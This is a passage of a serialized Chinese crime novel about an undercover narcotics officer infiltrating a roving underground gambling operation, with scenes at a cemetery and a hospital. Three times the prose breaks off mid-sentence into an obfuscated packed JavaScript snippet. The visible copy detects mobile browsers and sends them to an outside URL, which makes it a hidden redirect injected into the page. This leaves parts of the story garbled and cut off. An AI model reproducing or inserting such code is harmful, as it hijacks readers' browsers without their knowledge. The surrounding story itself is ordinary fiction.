三个人在他旁边围着你一眼我一语。 谢存山头疼,把四张坐凳一拼,倒头就又睡着了。 等他再醒来,已是五点多了,他身上披着唐小勇的夹克。 这一觉睡得深沉,醒了有种久违的神清气爽。 唐小勇在后厨窸窸窣窣地忙活,他躺着没动,脸上还在隐隐作痛,但心里却觉得很安静。 外头暮色四合,四四方方银蓝色的天,不一会儿街灯全都亮了。 就像很小的时候,住在登高巷的暑假,他坐在堂屋里掰豌豆,等着路灯亮起,竖着耳朵听巷子里母亲的脚步声...那种静谧之中酝酿着的巨大幸福… 唐小勇擦着手从厨房走出来,见他醒了说,“可算醒了。许冉到处找你。快回去吧。” 谢存山说,“哥,这件衣服借我披一下。” 唐小勇又扔给他一条毛巾,说,“把脸去擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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许冉的腮上还红红的,有些肿。 她很勉强地挤出一个灿烂的笑,说,没感觉了。再涂涂药,明天肯定就好了。 一整晚他们对昨天的事儿绝口不提,洗澡,洗衣,晾衣,关灯,上床睡觉。两人背朝两侧,呼吸交叠,各怀心事。 楼下的静街不时有车驶过,折射后的光线将许冉的影子映在墙上,拉长,变形。 谢存山在沉浮的黑暗中,瞪着眼看她的影子。出现,再消失。 他忽然感到前所未有的恐惧。 这一年,谢存山才二十岁,多数时候靠一些盲目的乐观和自信生活。 但这一夜,他的脑海里不断闪现许冉脸上红色的指痕,一个沉重的巴掌,伤害了他的爱人,也拍碎了他那些愚蠢的乐观和自尊。 他的骄傲和笃定像劣质墙漆一般开始剥落,露出生活可怖的坚硬的质地。 撞上去,头破血流。 谢存山转过身体,在黑暗中紧紧地抱住许冉的肩膀,轻轻地说,“对不起。” 对不起没有办法带你去北京,没有办法给你像样的生活,没有办法像个合格的爱人一样保护你。 许冉转过身来,伸出细细的手臂也一样紧紧地搂住他,说,“都是我不好。都是因为我。” 谢存山很重地摇摇头。 他们都流泪了。又在泪眼里看彼此的泪眼。 眼泪流到各自脸颊裸露的伤口上,又痛又痒。 谢存山说,‘许冉,我想回去读书,我想考警校。好吗?’ 32. 09.2024 十月初。张平入职安保公司的第二周认识了谢存山。 谢存山被领来的时候刚过晚饭时间,他睡张平下铺,张平对谢存山的第一印象是沉默。 “你哪儿人啊。”张平问他。 “桐城。” “怎么到这儿来找活儿了。” “熟人介绍的。”谢存山把自己的行李袋扔床板上,“你来多久了。” “一周。”张平刚满二十,高中毕业后到处打了两年零工,又托亲戚关系来了这家公司。 “坤哥你见过了吗?” 谢存山点点头。 “他是我老表(泛指远房兄弟)。” 张平跟他说这些,一是单纯,二也是怕受欺负,说给房间里其他人听的。 房间里三教九流的人都有,好几个都纹身花臂身上也有伤疤。 张坤交代了他,要他别惹事儿,也别打听。 张坤是安保队长。 谢存山是张坤的同乡介绍来的,说他以前在水站做搬运工,再以前在夜总会混,进去过,寻衅滋事,把人捅了。 话少,能干活,能打,嘴巴严。 “明天开场子,你跟着谁?”张平问。 “坤哥没说。” “估计和我一样,在外场干。” “对了,那是老金。他跟着坤哥最久,人也好,有啥事儿你都可以问他。” 正说着,外面走来一个赤膊的男人,平头,两鬓都已经白了,啤酒肚,脖子上挂着已经花了的毛巾,手里拿着已经龇了毛的牙刷。 见张平和谢存山看他,他就一笑。 ——一个老实不起眼的中年男人。 公司对外说是安保公司,但据说业务很‘丰富’。 张坤下面管二十来个人,只负责一件事——运营望县临时开设的地下赌场。 至于张坤上面还有谁,他们一概不知。 晚上在外头抽烟的时候,张平告诉谢存山,现在抓的严,地下赌场都是‘游击场’,打一枪换一个地方,靠庄家临时通知赌客。 就连他们安保队的人也都是当天早上才知道场地在哪儿。 “我哥说以前本来在江西有固定场的。后来被警察端了。说是内鬼干的。” 张平说起这些‘小道消息’兴致勃勃。 他们住宿的地方也是临时的,在一个挂牌望县xx生态农业生产厂的厂房里。上下铺。一个房间七八个人。 一半是跟着张坤在别的‘游击场’干过的,一半是临时招来的。 晚上张平戴着耳机玩游戏,偶尔骂几句脏话。大部分的人也像他这样,打游戏,打牌或者看美女直播。 安保队的规矩,他们没有特殊情况不能请假不能脱队,除了白天干活,一日三餐吃喝拉撒几乎都在这个厂子里。 进来的时候手机也被拿去检查半天。 “哎。说真的。这么多人睡一间。不太习惯。”他跟谢存山搭讪。 听见下面没回应,探头往下一看。 见谢存山在下铺翻了个身,看样子已经睡熟了。 - 谢存山在‘游击场’工作了两周之后基本摸清了情形。 游击场的管理很严格,赌客必须是熟客介绍,安保队的人会在指定地点与赌客街头,再将客人拉到临时场地 张坤是个四十多岁的中年男人,左臂纹了个弥勒佛头,多数时候爱穿廉价西装。他很多疑,也心狠,上周有个场内的保安手脚不干净,他当晚就把人狠狠打了一顿,扫地出门。 谢存山看得出来,虽然名义上是老表,但张平和他并不亲近。何况这里大部分的人和张坤都是沾亲带故的,不是远亲也是同乡推荐来的。 知根知底才好管理。 两周以来,他一直被分配拉车,给赌客搜身,或者在场子周边放哨,还没能进过场子。 不止是他,连张平也还在外场。可见张坤并不轻易信人。 转机发生在第三周。 那天来了一行三个赌客,生面孔,一男一女,都挺年轻,一看就是城里人。谢存山这些年与三教九流打交道多了,无论衣饰造型,看两眼,这人的社会背景就能猜个一二。 这两人不是来赌的。这是谢存山的第一印象。 但也不是警察。因为他们眼神还是露怯。 这两人被分到了张平的车上,谢存山目送他们开上乡道。有种预感,有事要发生。 果然还没等他接上下一波赌客,对讲机里说,张平出事了。谢存山跳上车,往那头追去,半路看到汽车半个车头扎进了田埂里。 张平正梗着脖子和另一个年轻些的男人扭打在一起,两人裤脚上都是泥。那个女人手上握着手机,试图在报警。 “我艹。他们是记者。”张平对谢存山大吼。 谢存山先把手机从女的手里夺了,往地上一扔,再从车后备箱抠出一块砖头,狠命把手机砸碎了。女人都吓傻了,大气不敢出。 谢存山三两下把那两人拉开,剪了那男人的手。 张平还想上手揍人,谢存山拦住了他。 张平气鼓鼓地从烟盒里摸了枚刀片出来,把女人的手提包抢过来,一划,内衬里掉出来一支录音笔。 “看吧。还好老子机灵,聊着聊着觉得不对劲。”张平得意洋洋。 这时老金也领着两个帮手到了。 “老金。怎么搞?带回去给我哥管?” 老金乜了一眼张平,又去看那个男人的脸,他的颧骨被张平打肿了。 老金脸上又挂上那种温和无害的笑容,问他,“身上没摔着吧。他们做事的年纪轻,不懂事。这样,我派个车,把你们送到县上。” 他带来的人心领神会,围上来给这两人拍了照,就这样把人送走了。 张平傻愣愣,“这就放了?万一他们给警察通风报信咋办。” 老金带来的其中一个男人啐他,“那怎么地。你还想把人带去场子里?还是把人杀了再把警察招来?就你这点破胆量。” ——记者他们见得多了,也被警察摸过。开地下赌场的宗旨是低调,游击场的好处就是灵活。 得罪额外的人不划算。 张平脑子里打打杀杀的东西太多,这才有点领悟过来。 老金没吭声,问谢存山,“手机是你砸的?” 谢存山这才发现,老金这人笑的时候春风化雨,不笑的时候眼皮耷拉着,不怒自威。 “是。我怕有定位。” “做得不错。” 老金抬眉,又看了这个皮肤黝黑精壮的年轻人一眼。 在张平张牙舞爪的衬托下,他更显得沉稳内敛。 “明天你跟我去场子里吧。” 谢存山点点头,瞥见张平嫉恨交加的眼神。心中一动。 - 记者来闹过后,赌场果然又更换了一次场地。 除此之外,谢存山还发现张坤和老金之间关系略显微妙。张坤对老金很客气,与对待其他人的态度很不同。 老金待的时间长,这是一重解释。其他的只是猜测。 ——但他开始格外留意老金。出于职业直觉。 场子里的情况不复杂。 一张□□赌桌,除开荷官,庄家,赌客外,还有几个‘大注’,负责诱导赌客下注。 旁边另有一间码房,张坤和老金平时就在码房里坐阵。码房里还有两个会计。 码房里什么情形,安保队的其他人都不知道。因为没人去过。 每每只见赌客进去,换了砝码出来。 现在几乎没人带现金了。 谢存山猜想,码房里应该至少有一套给客户开设赌资账户的设备。至于赌资是如何流转的,他还摸不明白。 谢存山不急不躁地待着,留心观察,不多打听,要他看场子他就看场子。 到处都有监控,宿舍里有,洗手间里都有。要把信息递到外头去很麻烦。 心里烦躁不安的是张平。他觉得自己被谢存山‘背叛’了。 那天记者的事情,谢存山出了风头去场子帮忙了,他却被人啐,心里一直不好受。何况他好歹还是张坤的亲戚。 他私下里找过张坤,张坤却知道他几斤几两,说,“让你开车你就开,别他妈那么多废话。” 张平心里气不过,又不敢冲张坤撒气,几天后把谢存山堵厕所里揍了一顿。 他下手没轻重,谢存山又不还手。围观的人看热闹不嫌事大,见了血,这才去找老金。 那天晚上谢存山睡到一半,突然开始呕吐。 老金一看,不对劲,怕闹出人命,叫了两个人把谢存山送到了县里医院。 ——其实只有皮外伤。 张平小胳膊小腿,根本没有杀伤力。况且谢存山‘挨打’的功夫和打架功夫一样好。这是老邹替他总结的 半夜送他来的两个人回去睡了,谢存山在医院病房里舒舒服服留观了一晚,半夜叫护士来帮他换药,又问护士借了手机,说自己手机摔坏了,要跟家里人报信。 “小山?”对面很快就接起了电话。男人操着一口浓重的方言。 “这儿没别人。”谢存山说。 对方这才换成正常腔调说,“看的这么紧?几天没你消息。” “到处都是监控。码房里我暂时摸不到,估计有枪。这儿管事的就是张坤。你帮我查个人...” 谢存山报了特征。 “行。这事儿交给我。行动计划暂时没有变化...还有别的困难没?” “别的倒没有。就是这儿的饭,难吃。” 对面笑了笑,说,“等活儿结束了,你上我家,我给你烧红烧肉吃。” “一言为定。” “你好好完成任务,全须全尾地回来。明白没。” “您把心放肚子里。对了,邹叔. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564421|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 老邹一听他叫他邹叔就头疼。 “说吧。啥事儿。” “拜托你,下个礼拜六...替我去趟...” “江北公墓。”老邹嫌弃他,“啰嗦,我又没糊涂,记得的。” - 公安大学毕业后谢存山加入桐城市禁毒大队。 也是在那时他才从老邹处得知,路西法大火那夜,恰巧也是针对路西法的缉毒行动收网的夜晚——行动还有个别称,‘大天使行动’。 过于巧合便是人为。 虽然邵家兄弟被捕,案件看似作结。但那场大火蹊跷,骆佳澄无辜遇害,部分证据湮灭,相关证人或洗脱,或销声匿迹。 老邹作为负责的刑警始终不能完全放下。 工作后的第二年。 谢存山从桐城借调到了云南保山缉毒大队。 换了手机号,微信号,断了所有不必要的联系。义无反顾地离开桐城。 挂心的人和事越少越好。 ——个人物品只带了一件,是许冉当年送给他的那支手表。 是他自愿去的。 队里没有几个年轻人想去,离家太远,而且那里毕竟是边境,毒品交易最猖獗的地方,平均每三天破获一起贩毒案。一个不小心是真的会丢了性命。 老邹劝他好几次,‘要不你再考虑考虑。’ 在保山待到第三年,谢存山所在的二大队接到线人消息——即将入境中缅口岸的一辆皮卡两辆摩托车上一共运载海、洛因460公斤,□□200多包,毒资2000多万。 皮卡属于长期盘桓于中缅边境长达十年的贩毒组织。但因对方反侦查力强,又疑似有缅方军警势力干涉,云南警方一直无法获得足够信息了解此组织的结构以及上游人员。 整个二大队三十多警力都被安排在这次拦截任务上。 他们足足埋伏了十二个小时,逼停皮卡后,六名嫌疑人拒绝投降,负隅顽抗。 ——地方毒贩之间相传有个不成文的规定,运1公斤左右毒品,配一颗手榴弹,运3公斤毒品,配两颗手雷;如果毒品超过5公斤,就配一把勃朗宁手枪、苏制手雷甚至小钢炮。* 截停皮卡后,两名嫌犯逃往路边荆棘林中,谢存山和另一名队员随即追捕,其中一名嫌犯企图引爆手雷,被谢存山发现,在与其缠斗过程中两人一同跌落两米多高的陡坡,谢存山上腹部中弹。 两名嫌犯全部被捕。谢存山获二等功。 这次行动不仅轰动一时,截获的资料和嫌犯供词中还牵扯出一个重要上线人物,聂磊。 拿到照片的时候,谢存山还躺在保山市人民医院的病床上。 他立马认出了这个人。许多年前他还跟着刘闯时,见过多次。 聂磊当时贴身跟着徐炀,一只义眼,脸上一条长疤,印象深刻。 那天老邹正好代表桐城禁毒大队来保山探他,看他攥着照片,浑身裹着纱布打着石膏板,在床上瞪着眼看了好久,突然笑起来。 老邹心里发毛,问医生,“脑子ct做了吗。别落下病。” 笑完了,谢存山问同来探望的二大队队长,“我什么时候能归队。” “这哪能着急。等你复健完,还得做评估。上面的意思是,让你休假,休完假可以把你调到省里去,你要是想,也可以跟着邹队回桐城。” 上面意思是,都吃过枪子儿了,就别再去一线了。 谢存山仅用了四个月就完成了复健,通过了评估,重新回到了二大队。 自那之后的三年,在桐城和保山警方的通力协作下,一张围绕徐家父子的跨国犯罪集团的人物关系巨网逐渐浮出水面,贩毒,赌博,洗钱,走私——已落网的邵家兄弟,逍遥法外甚至步步高升的徐家父子,全都牵扯其中。 案件引起了中央的高度重视。尽快收集证据,将相关人员极其关联势力连根拔起,绳之以法。 这是死命令。 就这样。路西法大火案作为关联案件也终于重启调查。 老邹本就是当年调查的干警之一,案子理所当然又交给了他。 2022年,路西法大火案早期走访完成,到了调查取证的关键阶段。 老邹向上头打报告,把谢存山要了回来。 ——就这样,2023年初谢存山回到桐城,回到禁毒总队。 为走访调查便利,一年多以来,他和老邹都以便衣或者卧底身份执行任务。 跨国贩毒案牵连甚广,徐家和邵家根系错杂,随着调查,一些旧人的名字也渐渐再次进入警方的视线范围——万小琴,李迈克,都在其列。 ——谢存山卧底的这家地下赌场在一年前就曾被警方打击过。当时只当是孤立的地方小赌场处理。 后来它却春风吹又生。 谢存山介入,是因为它的上游似乎牵扯了路西法案的一个关键人物——马杰。 33. 2024.10 十一黄金周过后,桐城便有了入秋的实感。 寒潮前夕,气温已经渐渐凉了下去。 老金在下午五点于江北公墓泊车,关上车门,搓了搓手,在公墓门口的小店买了香烛,两束鲜花。 这才往山坡下行去。 这么多年,他经手的案件多如牛毛,但当年大天使行动功亏一篑,路西法那场大火在他心里头没有熄灭过。 他还记得当年目睹的惨状,也记得一向开朗坚强的于莎掩面痛哭的模样。 于莎告诉他,死的女孩儿叫小橙,是个很善良的人。 当时案件因为种种外部压力匆匆作结,他也去找上面反映过,跟领导拍过桌子。 并无作用。 那之后于莎心灰意冷,申请调去了派出所做妇女儿童工作。 他也被暂时调离了缉毒大队,在交管系统坐了几年冷板凳。 直到局里班子成员彻底换了一批,他才重回缉毒大队。 十月十日,是骆佳澄的生日。 她的照片已然有些斑驳了,但一眼望去,她还是那么年轻,温柔可人。 十年间坟茔修葺过,但青青的小草仍从老旧的缝隙中不断争着抢着冒出来。 骆佳澄的父亲偶尔来。但他这些年得了关节病,行动愈发不便。老邹倒是来得勤快。有时候就是除除草,坐一会儿抽根烟。 他曾想说服谢存山跟他一块儿来。谢存山不肯,每每只拜托他买花。 另一束是于莎拜托他买的。她也再没有来过。 老邹当刑警三十年,心里明白,他们心里都憋着一股劲儿呢。 他自己也有一个女儿,与骆佳澄年龄相仿。女儿小时候曾被劳改后的犯罪分子报复,差点丢了一只眼睛。那之后老婆就带着孩子跟他离了婚,搬去了东北。父女很少见面。 他也再没有过结婚成家的念头。 “邹叔。” 老邹刚把香烛燃起,转过头见一个风衣长靴的女人,站在小径之外,叫他。 他抬手散了两下烟雾,说:“来了啊,小冉。” 许冉和老邹每年十月十日,都会在城北墓园见面。这事儿心照不宣,约定俗成。 谢存山一直不知道,许冉也拜托老邹不要说。 他们的交流很浅,只言片语。 老邹告诉她。谢存山毕业了,如愿考入了公安系统,一切平安,诸事顺利。外婆也一切都好。 许冉也从不追问,心满意足地离开。 也因此,重遇谢存山,她立马能猜出来。他做的肯定不是送水那么简单。所以她从没多问。 老邹觉得许冉是谢存山迈不过的一道坎。 起初他想,不过是些小情小爱。能有多忘不掉呢。 后来他想,谢存山的惦念不无道理。 许冉的确是个不一样的女人。 从她十年前带着三万块钱出现在派出所找谢存山的那天,老邹就知道她是特别的。 ——所以前些日子谢存山告诉他,许冉还在找万小琴,老邹并不惊讶。 心里甚至想,果真是天生一对。两根犟骨头。 “见着小山了?”老邹拨弄燃烧的纸钱。 “见着了。” “回来了也不说跟我说一声。” 许冉也蹲下来,笑笑说,“回来得匆忙。没来得及。” “谈朋友了?” “嗯。” “小山也在相亲呢。”老邹心里不是滋味。 许冉掏出手帕轻轻地擦拭骆佳澄的照片,说,“我知道。” “怎么着急回来。” “邹叔。” 老邹侧头看许冉。而她在凝视骆佳澄。 在她脸上他敏锐地捕捉到熟悉的东西。大概是和谢存山类似的隐隐的倔强神情。 “说起来可能没人相信。但二月我来这里,好像看到了小琴姐。很远。但我觉得就是她。你说有没有一种可能,她也回桐城了。” “这些都是猜测。” 老邹点燃一根烟。又深深看许冉一眼,“这些事儿交给公安。你好好开你的店。听邹叔的不会错,知道吗?” 许冉点点头,将最后一沓纸钱投入渐灭的火焰中。 蓝色的朦胧的黄昏又一次裹住了天地,也裹住了他们。 仿佛她年年来此接受的某种审判。 “谢存山...他最近,还好吗?” “他呀。休假呢。出去玩儿了。” 老邹撑着膝盖,支起身。他今年五十六了,早年膝盖受过伤,护理不得当落下的病。局里其实给过他好几次机会转二线,坐坐办公室写写文件。 他跟谢存山说的最多的一句话就是,‘等这事儿了了...’ 他们已经几乎错过一整个十年了。 老邹在转身前再次回头,凝视骆佳澄的笑颜。心里想,‘不能再错了。’ - 回赌场后,谢存山一直老老实实跟着张坤在内场干活儿。 坤哥看他事儿少,会开车,人也机灵,渐渐地就更信任他,有时候有饭局,或是一些别的场合,他会叫谢存山开车。 老金偶尔会跟坤哥一起出席这些饭局。偶尔他会消失几天。 一问就说是回‘老家’探亲。 马杰这些年为避风头,一直在东南亚徘徊,徐家集团势力辐射的地下钱庄,地下赌场,与钱相关的,都经过马杰,通过各种方式洗到加拿大。 ——老邹总爱指着白板上马杰的照片调侃,‘大内马总管’。 既然马杰身在海外,那么又是谁和他在内地一唱一和呢。 十月中旬,第一场寒潮后,因涉及洗钱,桐城警方联手广州警方挫掉了坐标佛山的慈善基金会。这家慈善基金会下设的多个账户其实已经搬空了,并不起眼,按道理不会在此时被警方盯上。 俗话说投石问路。 果然,佛山基金会被警方查封的当晚,老金又消失了。 与此同时海外协查的结果终于发回。老金,原名金伟,是马杰在内地的‘影子’。 这也印证了谢存山先前的猜想。 十年前路西法大火,邵家兄弟倒台,马杰跑去了琅勃拉邦。 老金是当地华人,从那时候起就跟着他了。 至于马杰是从何时起转投徐家,路西法那场火他又知道些什么。现在还不得知。 - 三日后老金回到桐城,赌场再次转场。平时偶尔允许内部人员请假,现下也一律不准了,轮休日他们只能聚在宿舍里打牌。 气氛愈发微妙起来。 张平和几个安保队的闲聊,说张坤说了,最近场子里除了熟客也不再接新的赌客了。听说有意向把赌场彻底关了。 另一个人问,“关了我们怎么办。” “废话。”张平说,“拿钱,闭嘴,滚蛋呗。” 二零二四年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老金抢救到恢复意识用了两天。谢存山就在医院里陪了两天。张坤明显放心不下,留了张平‘帮忙’。 张平不是打游戏就是看直播,谢存山把消息递出去没费什么功夫。 他躲在医废处理室给老邹打电话。 老邹说,“你怎么三天两头进医院。”又说,“呸呸呸。瞧我这嘴。” 谢存山说,“金伟周末出院。他现在脑子清楚着呢,就是左脚有点跛。行动需要有人。我觉得这是最好时机。” 老邹说,“那就下周三。” 谢存山说,“行。” 老邹说,“别嫌我烦啊,还是那句话,安全第一。” 每到这时,谢存山就会收起平素略显散漫的态度,说,“知道了。” 几多年,这已经成了两人的默契。 “对了。” 老邹正要挂断,问,“还有事儿?” “算了。之后再说。” 说罢,谢存山火速挂断了电话。踱步到楼梯间,在窗前微凉的空气里点燃一支烟。他原本想问老邹,有没有在城北公墓遇见许冉。骆佳澄的生日,他想许冉会出现。他想问她最近好不好。 他两天没合眼,提防着张坤。尼古丁让他清醒,也填补了他理智和冷静的缝隙。 谢存山庆幸自己没有问出口——他怎么能在此时允许自己软弱。